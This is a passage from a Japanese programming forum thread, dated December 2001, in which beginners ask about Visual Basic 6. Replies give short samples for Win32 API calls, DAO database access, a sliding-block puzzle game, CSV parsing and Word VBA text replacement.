誤)KIS_keybd_event
正)keybd_event
ウツ...
解決しました、
お騒がせして申し訳ありませんでした。
283デフォルトの名無しさん:01/12/13 20:09
すいません、ファイルを読み込んで1バイトずつループまわして
文字列を比較してきたいんですけど、うまくいきません。
MidB$とかやっても内部でUniCodeしてるみたいなんで。
助けてください。
>>283

dim wk() as byte
wk()=Strconv( "文字列",vbFromUnicode )

後はバイト配列を一つづつ比べれ。
バイト配列の最大はubound(wk())とかやで。
>>283
ファイルを読み込むにはInputかGetを普通使うが、
どちらを使うかでUnicodeとANSIに分かれる。
注意しようね。
286デフォルトの名無しさん:01/12/13 22:31
最小化した時、右下のタスクトレイに格納される様に
VBでできますか?
>>286
できる。API必須。
288271:01/12/13 22:36
>>283
文字列だったら
line inputで行単位でとって
ただのmid()で文字数分まわして
やればいいんじゃないでしょうか?
違ったらすみません。
289286:01/12/13 22:48
>>287
できれば、モスウコ氏具体的にやり方など教えてくださいませんか・・・?
290286:01/12/13 22:49
モウスコ氏って誰だ・・・。「もう少し」です。鬱・・・。
291286:01/12/13 22:49
よ、よく見たらモスウコ氏だ・・・。再鬱・・・。
292287:01/12/13 23:20
>>286
まず、タスクトレイにアイコンを登録するために
Shell_NotifyIconが必要。

次にタスクトレイのクリックを取得するために
サブクラス化が必要。

サブクラス化には
SetWindowLongとCallWindowProcが必要。

んで、最小化の時にタスクトレイのアイコンを表示。
タスクトレイのクリック時にフォームを表示。

・・・ってな感じで。

サブクラス化もタスクトレイのアイコンの登録の仕方も
ネットに山ほどサンプルあるからGoogleあたりで検索してみな。

あと、落ち着け。(w
タイピングゲームに関することなんですが。
キーボード入力を取得するにあたり、それが「確実に」
キーボードから入力されたかどうかを判定する方法はあるでしょうか?
仮想キーコードを独自に送出するツールなんかからの
入力は無視したいんですが。
GetKeyStateは試してみましたが、うまくいきませんでした。
なんかハードウェアを直接制御するしかないのかなぁとか思ってるんですが。
(そのやり方もよく分かってませんが・・)
VBでWindowsよりいいOSを作ています。
マルチスレトにするには、どのAPIを使えばいいですか?
教えてくれたら人は、売れたらお金をあげます。
あと、デュアルCPUのAPiも教えてください。
295268:01/12/14 11:38
>>278
サンプルまでありがとうございます
コピペして試しました

ただ、一つだけ
Rnd -123
これの意味がわからないです
あとは調べたら理解できました
296261:01/12/14 13:33
>>295
乱数系列を初期化しています。
その行が有る時と無い時で
debug.print crypt("ABCDE") , crypt("ABCDE")
の出力を見比べると解ると思います。
297デフォルトの名無しさん:01/12/14 14:56
>>284
>>285
>>288
どうもっす。やってみます。
298ラーニング:01/12/14 15:02
ラーニングソフトではDBグリットが使えませんでした・・・。
アクセスで作成したDBを操作したいのですが、どうコーディングしたらよいのか
さっぱりわかりません。
参考書はBDグリットの使い方しか、載ってません。

具体的にしたいことは
1.ファイルをオープンし、データを追加する。
2.ファイルをオープンし、データを修正する。
3.ファイルをオープンし、データを削除する。
(なんそ命令が違うらしいと聞いたので)
4.クローズ

すいません、どなたか教えてください。
>298
そのやりたい操作とDBGridに何の関係が...?
300ラーニング:01/12/14 15:19
DBグリッとが使えると、コーディング量がぐっと減るし、
フォームでデータが関連付けできるから、楽なんです。

しかし、ラーニングではできない(プロフェッショナルならできるんだけど)
ので、教えてもらいたいんです。
...ネタ?
302ラーニング:01/12/14 15:35
ネタではなくて、困ってるんです。

DBグリッとがあれば、オープンもクローズもしないで
DBへ書き込んで、次のレコードへブックマークセットして・・・
みたいなコーディングで終わるんでしょうが、
1対NでN側のDBをDBグリッと無しで操作しようとする場合、
DBオープンして内容を操作してクローズするといった処理が必要になると
思うのですが、参考書はDBグリッとの使用方法しか載ってないんですよね。

だから、知っている人がいれば、教えてもらえたらなと・・。
303ラーニング:01/12/14 15:39
ラーニングはプロフェッショナルに比べ、値段も安い分、機能も制限されています。
アクティブXの機能は使えない。いたーいです。
ラーニングのVB使ってる人はじめてみた。
ちょっと感動。
305 :01/12/14 17:06
>>304
おいらも使ってるよ。金が無かったんだよ。激しく後悔。
>>298
LearningEditionって、ほんと何もできないのね…。
使ってても学習になるのかどうか疑問だ。

すまんね、ADOもDAOも使わずにDB操作したことないんで
役に立てそうにないわ。
307301:01/12/14 17:41
>302
...そうか。疑ってスマソね。

DBGridを使う場合、普通はデータコントロールを対にして使う。
折れはSQL鯖との組み合わせしか知らないけど一応参考にしてくれ。

まず、グリッドと対になるデータコントロール(ADODC)をフォームに貼り付ける。
んで、DBGridのDataSourceプロパティには連結するADODCを指定する。
ADODCには、接続するDBやテーブルに関するプロパティを設定してやる。

実行すると、ADODCの設定に応じてDBへのConnectなどが行われて
結果がGridに反映される。
こんな感じ。
ラーニングエディションって、
●カスタムコントロールが使用不可
●ネイティブコンパイルが使用不可
●配布不可
だったっけ?

うーむ・・・確かにきついな。

んで、>>298
DAOは使っていいんだよね?
あと、参照設定って使えたっけ?
使えるんなら参照設定で
「Microsoft DAO 2.5/3.0・・・」
をチェックして、

Function a()
Dim DB as DAO.DataBase,RS as DAO.Recordset
Set DB=DAO.OpenDataBase("C:\Hoge.mdb")
Set RS=DB.OpenRecordSet("HogeHoge")'テーブル名
MsgBox(RS!HogeHogeHoge)'フィールド名
RS.Close
Set RS=Nothing
Set DB=Nothing
End Function

は駄目?
309デフォルトの名無しさん:01/12/14 22:47
あの〜、以前「箱入り娘」ゲームをVBで作ろうとしてカキコさせて
もらったのですが、どうもうまくいきません。

↓サンプル(JAVA)
http://hp.vector.co.jp/authors/VA006860/hako/sample1.html

サンプルはJAVAですが、どうしてもVBかVCで作りたいのです。
なにがうまくいかないか、というと、駒をマウスでドラッグアンドドロップで
動かす時に他の駒の上に重ならないようにしたいのです。
ドラッグアンドドロップ中のオブジェクトの動きって制限できるものなの
でしょうか?私はFormの上にImageコントロールを置いているのですが、
そのやり方自体、間違っているのでしょうか?
どなたかどうか教えてください。
310ラーニング:01/12/14 23:25
提出期限は過ぎたけど、就職の課題だった。
正味8日。子供がいるので時間的にきつかった。
VB初めてだし。
どうしても、DBの直接操作の部分がうまくいかない。
オープンができても、フィールド名が取れなかったりと、
参考書もプロフェッショナル版の内容で書いてあるから、
どれが使えて、どれが使えないか判らない。
エラーがでても、自分が悪いのか、サービスされてないのか、
それを解明するのにかえって時間がかかりました。

しかし、プロフェッショナルは8万。ラーニングが2万4千。
う〜ん。価格の差があるだけのことはあると思いました。
311ラーニング:01/12/14 23:30
>>308
ありがとうございます。
オープンは何とかできるようになりました。
現在フィールド名が認識されないので、作業がストップしてます。
312デフォルトの名無しさん:01/12/15 00:00
>309
こないだレスした者ですが、そのやり方自体は間違ってないです。
置けるか置けないか判定するのに、XY座標の2次元配列を使います。
で、Masu(1 to 4, 1 to 5)だと、娘がMasu(2, 4)まで来たらゴール。
313デフォルトの名無しさん:01/12/15 01:06
>>312
うーん・・・。
サンプル→http://hp.vector.co.jp/authors/VA006860/hako/sample1.html
みたいに、「移動できる方向」も判定したいのです。
ドラッグアンドドロップだと、とりあえず置けはしないけど、
どこにでも行けてしまう!(MouseDownイベントで座標取得、後ドラッグアンドドロップ)
サンプルのJAVA解析しろやゴルアって話もあるんですが、
あいにくJAVAを知らないので・・・。
これがVBの限界なんですかね・・・。
314312:01/12/15 01:54
>313
置けないところにいったん置いてから、「そこには置けません!」で
元に戻すのじゃなくて、最初からドラッグの方向を制限したいわけね。
DragOverイベントで、マウスの座標を監視するだけよ。
315313:01/12/15 02:09
>>314
なるほど、そういう方法があったのかー・・・・。
勉強になりました!
316301:01/12/15 09:36
>309
ちなみに、VBでゲーム製作なら、コントロールは何も使わずに
Formに直接Bltとかしてやったほうが細かく制御できるよ。
コーディング自体はちょっとメンドくなるけど。
317309:01/12/15 13:07
>>301

>Formに直接Bltとかしてやったほうが

それってBitBlt関数のことですね。
今、MSDN見て初めて知りました。
確かに大変そうだけど、VBでやるなら
しょうがないか・・・・・。
>>316 がんばる気があるならDirectXというテも...
319192:01/12/15 14:04
>>194
すごく遅れましたが、ありがとうございました。
フォントを変えるたび値を設定しなおしてやりました。
それでも若干縮んでしまいますが・・・。なんでなんでしょうねえ
>>317
一応BitBltはWindowsの基本なんで。
慣れるとむしろそっちの方が簡単だよ。

今更コントロールでゲームを作れっていわれても
ピンとこない。(w
321デフォルトの名無しさん:01/12/15 15:55
将来性とか考えて、初心者が今からVB始めるなら、
何を買うのがベスト?

Microsoft Visual Basic 6.0 Learning Edition
とか買おうかケソトウ中。
322VB使い:01/12/15 16:00
>>321
・・・将来性ならVC++じゃねえか?VBスレだが。
VB6.0ならプロフェッショナルにしとくべし。
過去レスにラーニングで後悔した人がいっぱいいる。
>321
上でもLearning使って難儀してる人いたよ。最低でもProにしとけ。
高い!って思うなら、Delphiとかは?
Personalは確かに機能限定はあるけど、なにしろタダだし...
324デフォルトの名無しさん:01/12/15 16:40
今、mouse_eventというAPIを使ったプログラムを組んでいるのですが
マウスカーソルの移動をさせる動作が、どうしても
うまくゆきません。
Call mouse_event(MOUSEEVENTF_MOVE, x, 0, 0, 0)
とやったら、Xピクセルほど移動してくれなくてなんか変な場所に
カーソルが行ってしまったりします。

ともかく、ディスプレイ上の(x,y)の座標にカーソルを移動させる方法
を誰かお願いします。
325321:01/12/15 17:05
>322
>323
サンクスコ
何か作ったらウプするよ。
326314:01/12/15 23:07
>315
ドラッグで処理しようっていうこと自体がどうも間違いだったみたい(汗)。

MouseMoveは使わない方がいいよ。コードによってはスタック不足になりやすいから。

DragOverもふさわしくなかった。動けない方向へは動けないようにするために、
1ドットでもマウスの移動を検知したら、ドラッグを即キャンセルするんだけど、
斜めの場合、XY方向のどちらを重視するかとか、余計な処理が必要になる。

で、解決法だけど、Image上のクリックだけで空いてる方向に動かすのはどう?
スライドパズルの場合、動ける方向はほとんど決まってるわけだから。
ただし、1コマ大が左右または上下の2方向に動ける場合とかは、
そのつど、Imageのどちら半分がクリックされたか判定すればオッケー。
327314:01/12/15 23:10
>324
x座標と変な場所の法則性は?
xの型と値は?
ピクセル座標系に変換してるかな?
これが一番間違いやすいと思う。
328箱入り娘作成中:01/12/15 23:48
>>326
Image上のクリック・・・・。
確かにBitBltを使いこなすのは初心者の私には
難しいかもしれない。
でもー、サンプルのJAVAのソース↓
http://hp.vector.co.jp/authors/VA006860/hako/HakoApplet.java
だと、MouseDownとかMouseDragとかいう関数が・・・。

JAVAアプレットだと作りやすいのかな?
よくよく考えたらWindowsアプリじゃないしー。
同じ方法でやろうとしてたって事が間違ってた・・・・。
うんうん、理解、理解。
329箱入り娘作成中:01/12/16 02:26
>>326
Image上のクリック・・・。
そっかー、そのやり方がいまのところ
ベストかもしれないです。
BitBltはVB初心者の私には難しすぎるっ
でもー、サンプルのJAVA(アプレット?)は
mousedownとかmousedragとかあるんですけど、
やっぱり、全然作り方が違うのかなー。
よくよく考えるとJAVAのサンプルはWindowsアプリじゃないし、
やっぱりマウスの制御でやろうというのは方向性が
間違っていたんだー。うんうん、理解、理解。
330デフォルトの名無しさん:01/12/16 03:00
はじめまして。質問させて下さい。
Text1に手打ちで「C:\Windows\aaa」などとパスを書いて、
そのフォルダが有るか無いか判断するにはどうしたら良いですか?
お願いします。
>>330
Dir関数を使われてはどうでしょう?
332なつかしいね〜:01/12/16 03:11
>>322
私もVB6.0PROを買いたかったんだけど
アカデミックと通常版の値段を見て買う気
をなくした。
別に金が無かったわけじゃないけど、ムカツイテ
Delphi6.0PROを買ったよ。
333デフォルトの名無しさん:01/12/16 03:12
学生なのでVS6.0Proを買っちゃいましたー(^o^)
あと7000円ほど出せばEntも買えましたけど。
334デフォルトの名無しさん:01/12/16 03:14
ろくでもない学生なんぞのためにソフトを安くするな。
335デフォルトの名無しさん:01/12/16 03:16
>>334

安くしているんじゃなくて、それがコスト+儲けなんだよ。
商用利用に使えるやつ(通常版)は、そのソフトを使って儲けるわけだから高いんだよ。
336ひどいよマイクロソフト:01/12/16 03:16
あの価格差は余りにも異常、、、、
337335:01/12/16 03:18
学生以外も使える商用利用不可のバージョンも出せばいいのに>マイクロソフト
爺なんか、すぐ死ぬだろ!
ガキを洗脳するのが重要なんだよ。
将来の大事な金づるだ。
339ひどいよマクロメディア:01/12/16 03:22
しかし、Flash5の差の小ささも許せないね、、、、
知り合いの中学生か高校生、大学生に頼めばいいじゃんよ。
341箱入り娘作成中:01/12/16 03:26
328,329
ほとんど同じ内容でカキコしてしまった。
スマソ
342ひどいよマイクロソフト:01/12/16 03:27
それが、いないのよ知り合いに学生が、、、
アカデミックは、教育のために金のない学生に安く・・・
なんてMSがやるわけないだろゴルァ
金がある奴からは搾り取る
ガキはどうせ払えないんだから、他社より安くして洗脳する
そのうちアカデミックフリーとかやりだすかもな
344VB使い:01/12/16 08:38
>>324
今日は休みなんでサンプル作ってみた。
フォームにコマンドボタン貼り付けて
フォームにこのコードを貼り付けること。

Private Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, _
ByVal DX As Long, ByVal dy As Long, ByVal cButtons As Long, _
ByVal dwExtraInfo As Long)
Private Const MOUSEEVENTF_ABSOLUTE = &H8000
Private Const MOUSEEVENTF_MOVE = &H1

Private Sub Command1_Click()
Dim x&, y&
x = 1200: y = 300 '移動したい座標

mouse_event MOUSEEVENTF_ABSOLUTE Or MOUSEEVENTF_MOVE, _
x * (65535 / (Screen.Width / Screen.TwipsPerPixelX)), _
y * (65535 / (Screen.Height / Screen.TwipsPerPixelY)), 0, 0

End Sub

もしかしたらもう解決済みか?(w
昨日の話だしなあ。
345>:01/12/16 09:22
.NETっていつでるんですか.
346VB使い:01/12/16 09:31
>>345
知らん。
347 :01/12/16 10:41
VBでゲームを作ろうと思ってるんですが
2つのキャラクターとかがぶつかったときの
あたり判定とかってどうやって設定したらいいんですか?
348デフォルトの名無しさん:01/12/16 11:41
349314:01/12/16 12:37
>箱入り娘作成中さん
自前ドラッグのサンプル。フォームにイメージを1個貼って実行。
右方向に1コマ分しか動かせないという条件です。

Dim DragX As Single, DragY As Single
Dim OrgX As Single, OrgY As Single
Dim MoveFlag As Boolean

Private Sub Form_Load()
  Image1.Appearance = 0 '' フラット
  Image1.BorderStyle = 1 '' 実線
  OrgX = Image1.Left: OrgY = Image1.Top
  MoveFlag = False
End Sub

Private Sub Image1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
  MoveFlag = True '' ドラッグ開始
  DragX = X: DragY = Y
End Sub

Private Sub Image1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
  Dim NowX As Single
  If MoveFlag = True Then '' ドラッグ中?
    NowX = Image1.Left + X - DragX
    If NowX >= OrgX And NowX < OrgX + Image1.Width Then '' 範囲内?
      Image1.Move NowX, OrgY
    End If
  End If
End Sub

Private Sub Image1_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
  MoveFlag = False '' ドラッグ終了
End Sub
350VB使い:01/12/16 13:00
>>347
基本は矩形(四角形)処理。
APIにもそれ用の関数がある。

つまり、矩形1と矩形2とを比べて、
重なっていたらヒット。
重なってなかったらはずれ。ってな感じで。

キャラごとに矩形をいくつか設定すると
複雑なキャラでも結構それなりに使える。

格闘ゲーム系も同じやり方でやってる。はず。(w
351デフォルトの名無しさん:01/12/16 14:16
うちのVB6のTreeViewオブジェクトのデザイン時プロパティの
HotTrackingプロパティの説明に
「マウスすプロパティ・・・」と書かれているんですけど、これが普通ですか?
Microsoftに言ったら何かもらえますか。
352VB使い:01/12/16 16:07
>>351
ホントだな。初めて知ったよ。
地図は間違いがあったら図書券もらえるらしいけどな。
353デフォルトの名無しさん:01/12/16 18:46
vbでのネイティブコードコンパイルなんですが
コンパイルする度に.obj生成してlinkしてcleanしてるような気がする
C2.exeとLink.exeの引数解ればnmake.exeで
コンパイルする事は可能ですかね?
教えてちょ
354>345:01/12/16 18:49
ああ,どうも.確か今年中に出るって言ってたような気がするんだが・・.Windows XPみたいに誰でも使うものではないから話題になってないだけかと思ったが,どうも本当に出る気配はなさそうだな.
355デフォルトの名無しさん:01/12/16 22:11
VB勉強してます。
データへのアクセスというところででてきた、フレキシブルグリッドというコンポーネント
が使用できなくて困ってます。
プロフェッショナルをインストールしてあるのに、
フレキシブルグリッドを使用するためのライセンスがありませんといわれます。
なぜ??
356314:01/12/16 23:12
>箱入りさん
2時間ぐらいで、例のJavaアプレットをVBに移植しました。遊べます。
コマはまだ色の四角形ですが、GIF画像ファイルを入手すれば
即置き換えられます。

マウス座標の取得がFormと別々になるので、Imageコントロールは使わず、
Formだけにして、非表示のPictureBoxからPaintPictureします。

Java固有のスレッドやイベントの制御コード部分は無視してかまいません。

ほか
 1.あのままではマウス移動の判定が鈍いので、改良。
 2.手数を表示。←これは必須
357箱入り娘作成中:01/12/16 23:28
>>356
ん?板チェックしに来たら、もう出来てる?!
私はまだ完成してません。
もしかしてImageコントロールをFormにペタペタ貼ってた
のが、ただでさえ初心者の私をさらに追い込んでたとか・・・。
そんな気がしてきた!
358とて〜も初心者:01/12/16 23:28
VBで作ったものってDLLがいるとよくいいますが
私のパソコンでは(VAIOノートのPCG-FX33G/BP)DLLがないとか
言われたことはありません。
DLLを入れた記憶はないのですが、メーカー製のものってDLLとかが標準で
入ってるってことですか?
っていうか箱入り娘のレベル1も解けないんだけど
360箱入り娘作成中:01/12/17 00:11
>>359
作ってる私も解けません。
361箱入り娘作成中:01/12/17 00:28
フォームに絵が出ない・・・。
ファイルのパスは合ってるのに。なんで?

Private Sub Form_Load()
Dim Pic_Waku As Picture
Set Pic_Waku = LoadPicture("C:\〜省略〜\koma0.gif")
frmMain.PaintPicture Pic_Waku, 0, 0
End Sub
>>361
frmMainにじかに書いているわけですね。
恐らくfrmMainのAutoRedrawがFalseになってるせいです。
この辺はWindowsの仕組みを理解していないとわからない所ですね。
363箱入り娘作成中:01/12/17 00:43
>>362
くそー!!!
めちゃくちゃくやしい!
(と心の中で思い、太股をこぶしで殴打)
364VB使い:01/12/17 01:00
>>358
VB6.0で作ったEXEをWindowsで動かすときに最低限
用意しなければいけないものはMSVBVM60.DLLだけです。
(一応VB6JP.DLLも。無くても文字化けしながら一応動く。)

標準でついているもの以外を使った場合はそれ用の
DLLやらOCXやらがいるけど、使ってないならいりません。

そしてMSVBVM60.DLLが標準でついているOSもあり、
WinMe,2000,XPです。(なぜかVB6JP.DLLはついてない。)

上記OS以外でDLLがないという文句を言われないメーカー製PCは
メーカーがトラブルを避けるために入れているのでしょう。
365デフォルトの名無しさん:01/12/17 11:39
CSVファイルでシングルクォートで囲まれたデータを
文字列として取り込みたいのですが、
VBヘルプをみるとダブルクォートしか文字列として対応してないみたいです。
何か良い方法がありますか?

レコードを一文字ずつばらしてカンマを検出し、
文字列の両端のシングルクォートを削るしか、VBでは方法がないのでしょうか?
>>365
 Split関数使ってみれ。
367365:01/12/17 11:51
>>366
そんな便利な関数があったんですね。
ありがとう
368366:01/12/17 11:55
>>367
低脳ワザと言われそうな ex...
データ 'TEST_1','TEST_2' ってなってたら
 Dim strX()   As String

 strBuf = "'," & "'TEST_1','TEST_2'" & ",'"
 strX = Split(strBuf, "','")
でどうよ?
369366:01/12/17 11:58
補足
 添え字最低値、最大値はそれぞれLBound、UBound関数で判る。
 但し、空要素の配列で何かしようとするとエラーが発生するので
自前で空配列を調べるような関数を作っておくべし。
370デフォルトの名無しさん:01/12/17 14:13
Windows2000の「コンピュータの管理」で
[コンピュータの管理(ローカル)]-[システムツール]-[共有フォルダ]を右クリックして現れるメニューの
[すべてのタスク→]-[コンソールメッセージの送信...]をVBで制御する方法はありませんか?

これを使えれば、他のマシンと色々交信できて楽しそうなんですが。。。
>>370
コマンドプロンプトから「net send」コマンドを
実行してはどうでしょうか。
使い方は、net /? で調べてみてください。
372370:01/12/17 14:34
なんと、こんなコマンドがあったんですか。
これなら簡単にいじれますね。ありがとうございます。
373デフォルトの名無しさん:01/12/17 16:03
ネットワークに繋がっている、コンピーュータ名の一覧を取得するには
どうしたらいいでしょうか。できればドメインごとに取得したいです。
>>373 ネットワークとはどの範囲のネットワーク?
全世界とかいうなら無理だと思うが、とりあえずやってみ

IPアドレスをしらみつぶしに調べる(当然特別なIPアドレスは省く)
0.0.0.0 〜 255.255.255.255
とりあえずpingでも飛ばしてみ。
http://www.geocities.co.jp/SiliconValley-SanJose/3279/scrap.html
http://w3.one.net/~kevinw/VB/s_modules.htm

IPアドレス→ホスト名は、このあたりを参考に。
http://www.mitene.or.jp/~sugisita/family/papa/vb/api_net.html

おまけのwhoisはこのあたりを参考に。
http://www.vbip.com/winsock/winsock_whois.asp
375とて〜も初心者:01/12/17 21:29
VBでP2Pみたいなソフトて作成できますか?
>>375
 とりあえず WinSock でもいじってみれ。
>>375
完全匿名“Freenet”のクローンでも作ってよ。
ソースも公開されているし。

「freenet0.4+frostスレ Key1」
http://tmp.2ch.net/test/read.cgi/download/1007824064/
378箱入り娘作成中:01/12/17 22:53
>>356
すいませ〜ん!356さん
>1.あのままではマウス移動の判定が鈍いので、改良。
どんな風に改良したんですか?

まだ、完成してません・・・・。
379デフォルトの名無しさん:01/12/17 23:12
>378
1.移動ベクトルの傾きを計算して、XとYのどちらを優先するかをまず判断。
  実際にはAbsで絶対値の大小比較をするだけ。
  今度は敏感すぎて、2マス連続で移動しちゃう(笑)。
2.マウスボタンを離した点で判定してたのを押し始めの点で判定。

困ったこと。ふつうは1マスずつ移動させるのですが、それだと瞬間移動みたいだから、
あの作者はわざわざ半マス移動方式にしたんでしょうね。
でも、手数のカウントが面倒です。いまは単純に2で割ってるだけです。

ほか、改良点としては効果音をつけました。
380デフォルトの名無しさん:01/12/17 23:22
テキストをアンチエイリアスをして表示する方法を探していたら
GetGlyphOutline()でできるようなこと書いてあったのですが

1.APIビュワーからコピペしたものを使おうとしたら
「ユーザー定義型は定義されていません」となってしまいます。
("lpgm As GLYPHMETRICS"と"lpmat2 As MAT2"がひっかかってる?)
2.引数になにを入れたらいいかわかりません(汗

どなたかご教授お願いします。
381箱入り娘作成中:01/12/17 23:26
>>379
移動ベクトルの傾き・・・
押し始めの点で判定・・・・

もうちょっと勉強してから出直してきますっ
382デフォルトの名無しさん:01/12/17 23:59
>381
むずかしく書いちゃったけど、ここのとこです。
  If y - oldy > 32 Then Call DownKoma(x, y)
これを
  If Abs(x - oldx) > Abs(y - oldy) Then でまず判定して、
    If y > oldy Then Call DownKoma(oldx, oldy)
移動は1ドットでもオッケー(笑)。

ボタンを離した点と書いたのはカン違いで、ドラッグ中の点でした。
だから、そのままでもいいのかも。

GIF画像は、サイトにあったのを使いましたが、koma12.gifは
「You Win!」って大きく書いてあるだけなので、パス。
383デフォルトの名無しさん:01/12/18 11:05
初歩的な質問で申し訳ないのですが、
.wavファイルのループ再生を行うにはどうすればいいのでしょうか。
現在標準モジュールに
Declare Function sndPlaySound Lib "winmm.dll" _
Alias "sndPlaySoundA" (ByVal lpszSoundName As String, _
ByVal uFlags As Long) As Long
Public Const SND_SYNC = &H0
Public Const SND_ASYNC = &H1
Public Const SND_NODEFAULT = &H2
Public Const SND_LOOP = &H8
Public Const SND_NOSTOP = &H10

フォームに
Private Sub Command2_Click()
Call sndPlaySound("A:\中略\game.wav", SND_LOOP)
End Sub
と書いているのですが、エラー音しか出ないのです。
どこが間違っているのか教えてやってください。
384デフォルトの名無しさん:01/12/18 11:48
>>383
ヘルプから抜粋:
指定されたファイルが見つからなかった場合、PlaySound関数はデフォルトの
サウンド(一般の警告音)を鳴らそうとします。
pszSoundパラメータで指定したサウンドは、使用可能な物理メモリに収まる
サイズでなければなりません

この辺で引っかかってませんか?
385373 :01/12/18 11:57
すいません。説明不足でうまく伝えられなかったようです。
ネットワークに繋がっているとは、単にネットワークコンピュータで
表示されるパソコンのことです。
やりたいことは、たとえばWORKGROUPにぶら下がるPC名の一覧が欲しいのです。
それで、さらにWORKGROUP以外にもグループがあったとしたら、そちらの
PC名もほしいのです。
386VB5:01/12/18 18:51
EXCELみたいなイメージの表形式でデータ表示したいのですが、
標準のコントロールでは何を使うのが一番いいんでしょうか?
>>386
DataGridかDataBoundGridなんかはどうでしょうか。
388VB5:01/12/18 19:15
>>387
レスどうも。

>DataGridかDataBoundGrid
これは参照設定とかしないと出てこないモノなんですか?
参照設定じゃなくコンポーネント。
Microsoft DataGrid Control 6.0。
今日、本屋逝ったら、VB.NET本けっこう出てんだね。
いつ出んだろ?
391VB5:01/12/18 19:25
>>389

ども。
今VB5使ってるんですが、
DataGrid Control というのが見つかりません。
なんていう名前のOCXかわかりますか?
392デフォルトの名無しさん:01/12/18 19:48
>>391
DataGridはVB6です。
VB5なら Data Bound Grid かな
>>385
WNetEnumResource()API、WNetOpenEnum()APIあたりで
昔やった記憶があるよ。
394VB5:01/12/18 20:36
>>392
DBGRIDですか。
どもでした。
395質問です。:01/12/18 21:12
本当に初心者の初心者です。

今度、中途の就職活動のSEの求人先で、「意欲はあるのは分かるが
何か言語試して欲しい」と言われました。それでPC環境的にもてっと
り早いのがVBではないかと、言われたのです。基本は取りあえずわか
りそうなのですが、何か何でもいいから作って欲しいと言われた課題内
容をどうしたものかと考えています。

VBの初心者として最初に組めたら良い、メルクマール的な、プログラム
って何でしょうか?教えて下さい。

研修で良く初心者に課題として課される者でも良いのですが・・・。
よろしくお願いします。
396デフォルトの名無しさん:01/12/18 21:13
VB6.0で、Internet Trancefer Controlを使ってFTPでファイル送信をしたいのですが、
連続で二回以上送信すると当然のようにうまくいきません。

画面を表示しない仕様のため、標準モジュールで処理を行っています。
(fromはVisibleをFalseにしています)
うまく一回ずつ間を空けるように出来ないでしょうか。


Win2000
397396:01/12/18 21:15
ああ、環境を書こうとしてミスった。。。

Win2000のVB6.0を使ってます。
プログラムもかけないのにSEか。

おめでてーな。
395はネタなんだよね?
本気でそんな質問しないよね?
>>395
小・中学生、高校生、バカな大学生が対象なら、
とりあえず、「日付と時刻のプロパティ」のようなものを
標準のコントロールだけで作らせる。
MIDの子フォームが常にMIDの親フォームの中央に表示される
ようにするにはどうすればよいのでしょうか?

WindowStateを変更するとエラーが発生して、
標準にしか設定できません。
402とて〜も初心者:01/12/18 21:57
>395
そりゃー「HelloWorld」に決まりでしょ
VBっつー事は業務系だよな。
なんかデータベースにつないでInsert/Update/Deleteなどを一通りやってみたら?
SEってことだから設計能力も問われると思われ。

はっ、マジレスしてしまった
404質問です。:01/12/18 22:14
っていうか一応、研修もあるらしいンですが。
全く未経験という場合には課題を課しているそうです。
405とて〜も初心者:01/12/18 22:26
>404
課題ができないと落とされるってワケか?
406質問です。:01/12/18 22:30
その辺、アバウトなんですが、取りあえず、「適性」というのを見ようという
事らしいです。しかし、課題が何でも言いと言われても・・・。テキストには
時計プログラムとか載っていますが・・・。
>395
ネタかと思ったんだが・・・。
その会社はオープン系なんか?
じゃ、403さんの言うとおりのDBとの連携なんかが
いいんじゃネーノ?
IEコンポーネント貼ったブラウザもどきとかもいいかもな。

ちなみに俺が前受けた会社はBMP画像の拡大をするもの
とかが課題だったな。ゲーム系だが。
クソまじめにラグランジュ補完とかやったな。落ちたけど。
408407:01/12/18 22:58
途中でカキコしちまった。

しかし、395さんよ、SEとして成功したいならさ、
提案能力も問われるわけだろ?
「そういう要求に対してどういう提案が出来るか」が
その会社の人間が見たいとこだろうと思うぞ。
ここで、聞いて参考にするのもいいけど、
やっぱさ、自分で考えることに意味があるんじゃないの?
409デフォルトの名無しさん:01/12/18 23:32
WordのVBAで質問です。
docファイル文章内すべて文字「XXX」検索して、置換するというプログラムを作ろうとしているのですが、
Findメソッドを使用し、Do loopで末尾までぐるぐる回そうとしたのですが、
文章の末尾どう取得してよいかわかりません。

Do loopで文章の先頭から末尾まで回すときは、どんな条件にするればいいでしょうか?
>>409 「マクロの記録」でやったらこんなコードになりましたが。

Selection.WholeStory
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = ""
.Replacement.Text = ""
.Forward = True
.Wrap = wdFindAsk
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = False
.MatchFuzzy = True
End With
Selection.Find.ClearFormatting
Selection.Find.Replacement.ClearFormatting
With Selection.Find
.Text = "キーワード1"
.Replacement.Text = "キーワード2"
.Forward = True
.Wrap = wdFindAsk
.Format = False
.MatchCase = False
.MatchWholeWord = False
.MatchByte = False
.MatchAllWordForms = False
.MatchSoundsLike = False
.MatchWildcards = False
.MatchFuzzy = True
End With
Selection.Find.Execute Replace:=wdReplaceAll
411デフォルトの名無しさん:01/12/19 00:35
>>410
ありがとうございます。
[XXXA1234]を[ZZZA1234]ではなく[ZZZ12A34]
というような置換をしたいのですが、この場合は
1.一行アクティブして、
2.INSTR関数で「XXX」を検索し
3.アクティブ行を置換
という順序で考えています。
説明不足ですいませんが、お願いします。
412デフォルトの名無しさん:01/12/19 00:50
>411
どうしてわざわざ1行ずつやるの?
INSTRで文書全体検索すればいいじゃん。
0が返ってくるまで。
413デフォルトの名無しさん:01/12/19 01:11
>412
な、なんといっていいか・・・
あ、ありがとうございます。
vbNewLine と vbLf,vbCr,vbCrLf の使い分けを教えてください。
Excelのセル内改行はvbLfのようだけど 他はvbCrLfでなくても改行されます。
じゃあ vbNewLine じゃなくてもWindowsでは勝手に判断してくれるの?
415デフォルトの名無しさん:01/12/19 02:40
>>415
レスありがとうございます。
リンク先の
>vbNewLine : 一応プラットホームに依存しない(事になってる)コードを書ける。
>まあ気休めだけどね。
は見ました。

聞きたかったのは
vbNewLine じゃなくてもWindowsでは勝手に判断してくれるの?
と書いたように、vbLf,vbCrを使用してもWindowsでは
改行してくれるので意識しなくてもようのかとか、vbLfでないとだめな場合とかをお聞きしたかった
のです。
417416:01/12/19 02:52
>意識しなくてもようのかとか
意識しなくてもよいのか とか
418デフォルトの名無しさん:01/12/19 03:07
>416
